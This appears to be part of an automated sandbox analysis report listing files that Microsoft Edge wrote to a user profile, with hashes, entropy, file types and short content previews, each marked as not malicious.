Preview:	SNSS..........I..............I......"...I..............I..........I..........I..........I....!.....I..................................I...I1..,......I$...24853a20_e2e4_44b6_bc1a_a34f70415738......I..........I..................I......I..........................I....................5..0......I&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}........I.............I..........................I..............I........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........p'......p'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.175306285706491
Encrypted:	false
SSDEEP:	6:HEhfWpq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YEhfW0Zmw+YEhfW0kwOCHhJ23oH+T8:khfkvBYebIhHh2FUt8/hfF/+/hfX56Yz
MD5:	D0EC0F9B82942B613DC5D986EF2BB392
SHA1:	353A8A7D0EDA0C584E11DB45086D9A6E283F5259
SHA-256:	584F160C3E23664E86FBEB4787CDF93FC81B7D8D62DF4BCF7999E4FCF9033292
SHA-512:	379F1CBF299F146268EDEF7A273FF792DE7021D5B25FEAB24E5472050CA314EABAE6B7D6AAB9870237130251A4604B61807066D6CE2CC917D6A8CADEF42ED641
Malicious:	false
Preview:	2024/11/21-13:58:34.196 1a54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-13:58:34.196 1a54 Recovering log #3.2024/11/21-13:58:34.196 1a54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.175306285706491
Encrypted:	false
SSDEEP:	6:HEhfWpq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YEhfW0Zmw+YEhfW0kwOCHhJ23oH+T8:khfkvBYebIhHh2FUt8/hfF/+/hfX56Yz
MD5:	D0EC0F9B82942B613DC5D986EF2BB392
SHA1:	353A8A7D0EDA0C584E11DB45086D9A6E283F5259
SHA-256:	584F160C3E23664E86FBEB4787CDF93FC81B7D8D62DF4BCF7999E4FCF9033292
SHA-512:	379F1CBF299F146268EDEF7A273FF792DE7021D5B25FEAB24E5472050CA314EABAE6B7D6AAB9870237130251A4604B61807066D6CE2CC917D6A8CADEF42ED641
Malicious:	false
Preview:	2024/11/21-13:58:34.196 1a54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-13:58:34.196 1a54 Recovering log #3.2024/11/21-13:58:34.196 1a54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.262092753795142
Encrypted:	false
SSDEEP:	12:khfevBYebvqBQFUt8/hfH9/+/hf5J56YebvqBvJ:k2BYebvZg8/Ev6Yebvk
MD5:	9183C8B99D206D09161BF270DDA89DEC
SHA1:	5771FE52993183054A5FDF0632E8287948491170
SHA-256:	9C880933BADF5105B0CB62042D470EB099C3B11077DC8E7DD47350E81AD70133
SHA-512:	7FE70A143910438CCABFC2A398607543151C5BEAC0B66A35259DF58A89EC1B3E0FDFFEA80A82E3974A5F157B2C955AE5FF78759753FA09D9051B3ADF75C7E66E
Malicious:	false
Preview:	2024/11/21-13:58:35.325 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-13:58:35.327 1c84 Recovering log #3.2024/11/21-13:58:35.459 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.262092753795142
Encrypted:	false
SSDEEP:	12:khfevBYebvqBQFUt8/hfH9/+/hf5J56YebvqBvJ:k2BYebvZg8/Ev6Yebvk
MD5:	9183C8B99D206D09161BF270DDA89DEC
SHA1:	5771FE52993183054A5FDF0632E8287948491170
SHA-256:	9C880933BADF5105B0CB62042D470EB099C3B11077DC8E7DD47350E81AD70133
SHA-512:	7FE70A143910438CCABFC2A398607543151C5BEAC0B66A35259DF58A89EC1B3E0FDFFEA80A82E3974A5F157B2C955AE5FF78759753FA09D9051B3ADF75C7E66E
Malicious:	false
Preview:	2024/11/21-13:58:35.325 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-13:58:35.327 1c84 Recovering log #3.2024/11/21-13:58:35.459 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2b9d7e71-f750-443f-b1d6-a496321a4ba2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2ed0e50b-3166-4d83-af3b-dd1f525d9768.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4d1444d1-c6cf-4ba2-8a05-0f1280bab65d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2be93.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.271112781888665
Encrypted:	false
SSDEEP:	12:khfQcMhIvBYebvqBZFUt8/hfQcj/+/hfQct56YebvqBaJ:kecdBYebvyg8/ecoec/6YebvL
MD5:	D23130A62CBBDB23FFBD13637AC07A93
SHA1:	471A1E11AA4917C61B65D6C016D2D7CBAAD8E343
SHA-256:	C0F78975C33CB8E76BDC8C566B63D001A5D27BC9F8A2C99F311820A4E7E59899
SHA-512:	3EC36E0B4612D81C9874ED12D8A21E380F90146A9CB002E5B11371F9F714B7E7A943142E7F2DEFD7F005D3102FF53F4A966C9A293031BDDD9F459C4A7FFCD56A
Malicious:	false
Preview:	2024/11/21-13:58:53.872 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-13:58:53.873 1c84 Recovering log #3.2024/11/21-13:58:53.877 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.271112781888665
Encrypted:	false
SSDEEP:	12:khfQcMhIvBYebvqBZFUt8/hfQcj/+/hfQct56YebvqBaJ:kecdBYebvyg8/ecoec/6YebvL
MD5:	D23130A62CBBDB23FFBD13637AC07A93
SHA1:	471A1E11AA4917C61B65D6C016D2D7CBAAD8E343
SHA-256:	C0F78975C33CB8E76BDC8C566B63D001A5D27BC9F8A2C99F311820A4E7E59899
SHA-512:	3EC36E0B4612D81C9874ED12D8A21E380F90146A9CB002E5B11371F9F714B7E7A943142E7F2DEFD7F005D3102FF53F4A966C9A293031BDDD9F459C4A7FFCD56A
Malicious:	false
Preview:	2024/11/21-13:58:53.872 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-13:58:53.873 1c84 Recovering log #3.2024/11/21-13:58:53.877 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.268712662862887
Encrypted:	false
SSDEEP:	6:HEhfWhFCq2PCHhJ23oH+TcwtpIFUt8YEhfWGZmw+YEhfW6kwOCHhJ23oH+TcwtaQ:khfqFCvBYebmFUt8/hf//+/hft56Yeb7
MD5:	71B5347002D8F2DAB75DA539BE63F389
SHA1:	AA6112F5E034A138AF4A36C05EA163B2F4B7C7F9
SHA-256:	EEDB39202A922E0465DF63DF6B48202657B27B8B238A0EEECABEA6F57B07E1C7
SHA-512:	860C1D933EBB213684AEC1BF195E420942D3657745602552003CB4ACAB5028B0F0365664F481F5D6120897D9104453ED44DB72D339F01694FC34B1A2057888D8
Malicious:	false
Preview:	2024/11/21-13:58:34.095 1b30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-13:58:34.096 1b30 Recovering log #3.2024/11/21-13:58:34.096 1b30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.268712662862887
Encrypted:	false
SSDEEP:	6:HEhfWhFCq2PCHhJ23oH+TcwtpIFUt8YEhfWGZmw+YEhfW6kwOCHhJ23oH+TcwtaQ:khfqFCvBYebmFUt8/hf//+/hft56Yeb7
MD5:	71B5347002D8F2DAB75DA539BE63F389
SHA1:	AA6112F5E034A138AF4A36C05EA163B2F4B7C7F9
SHA-256:	EEDB39202A922E0465DF63DF6B48202657B27B8B238A0EEECABEA6F57B07E1C7
SHA-512:	860C1D933EBB213684AEC1BF195E420942D3657745602552003CB4ACAB5028B0F0365664F481F5D6120897D9104453ED44DB72D339F01694FC34B1A2057888D8
Malicious:	false
Preview:	2024/11/21-13:58:34.095 1b30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-13:58:34.096 1b30 Recovering log #3.2024/11/21-13:58:34.096 1b30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264894067561417
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMTSAELyKOMq+8QTQKC+CVumSe:K0q+n0JT9ELyKOMq+8Q73e
MD5:	048C32B3E55A9B514E04C907AD132CE2
SHA1:	CE5DA7DA27DE9453B4AF37B19A3AD3890074114D
SHA-256:	04A095DE3F9D765BF46949C10181EE30D6DBF61765588BF37CC10A80C6C74174
SHA-512:	5ACB7F77D855F1EA359C314594ED9B3E3FFEF5CBC75D52D463AB20884843905ADDC343D2E90D3BA3F6B341742127521775D9F1741704D77C1D60B3CCEFE70320
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46668079776803695
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0gh:v7doKsKuKZKlZNmu46yjx0a
MD5:	64D1EC776F1DE47B9F481D823B7FD041
SHA1:	FB9831941DDB659FE46CBB4F287B047A99618543
SHA-256:	354817B934C66D426BF0F72A2400A47466549BD28B25022070B1341D60584780
SHA-512:	C41F3EE7F817428B89A7D836264B58E48815CC99C7CFE7C40739F26BFF173056FCAC3D25200679D5B928E15E14141AF19D0DF997D00B1BEBD3D59153A2DBD340
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a0f7d575-6198-4be7-936f-9182a769e5cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17293), with no line terminators
Category:	dropped
Size (bytes):	17295
Entropy (8bit):	5.493454007374997
Encrypted:	false
SSDEEP:	384:stiPGQSu4dsR3Xx4QEF9m9ZDilTNbGEQwru7NIh:sYOXuv31LwbGDde
MD5:	92FCE74FF52A919F33575B1B7B4E57CA
SHA1:	538D5A885003DD7EC9E49384CF308C109BB9164A
SHA-256:	8762EC72F0E4DA5961FD6044EA8D28B62C17BBE4A98CC5C0F251A305021C6F11
SHA-512:	2E02B7EFCE294CF8C1BEBEDD098A49F287C21069B4155AC45C913BB2423F348A81D3CDD6ACB5C129C96FD1B934587B33281D57A4BCBCF04DEA1242CA408125E1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
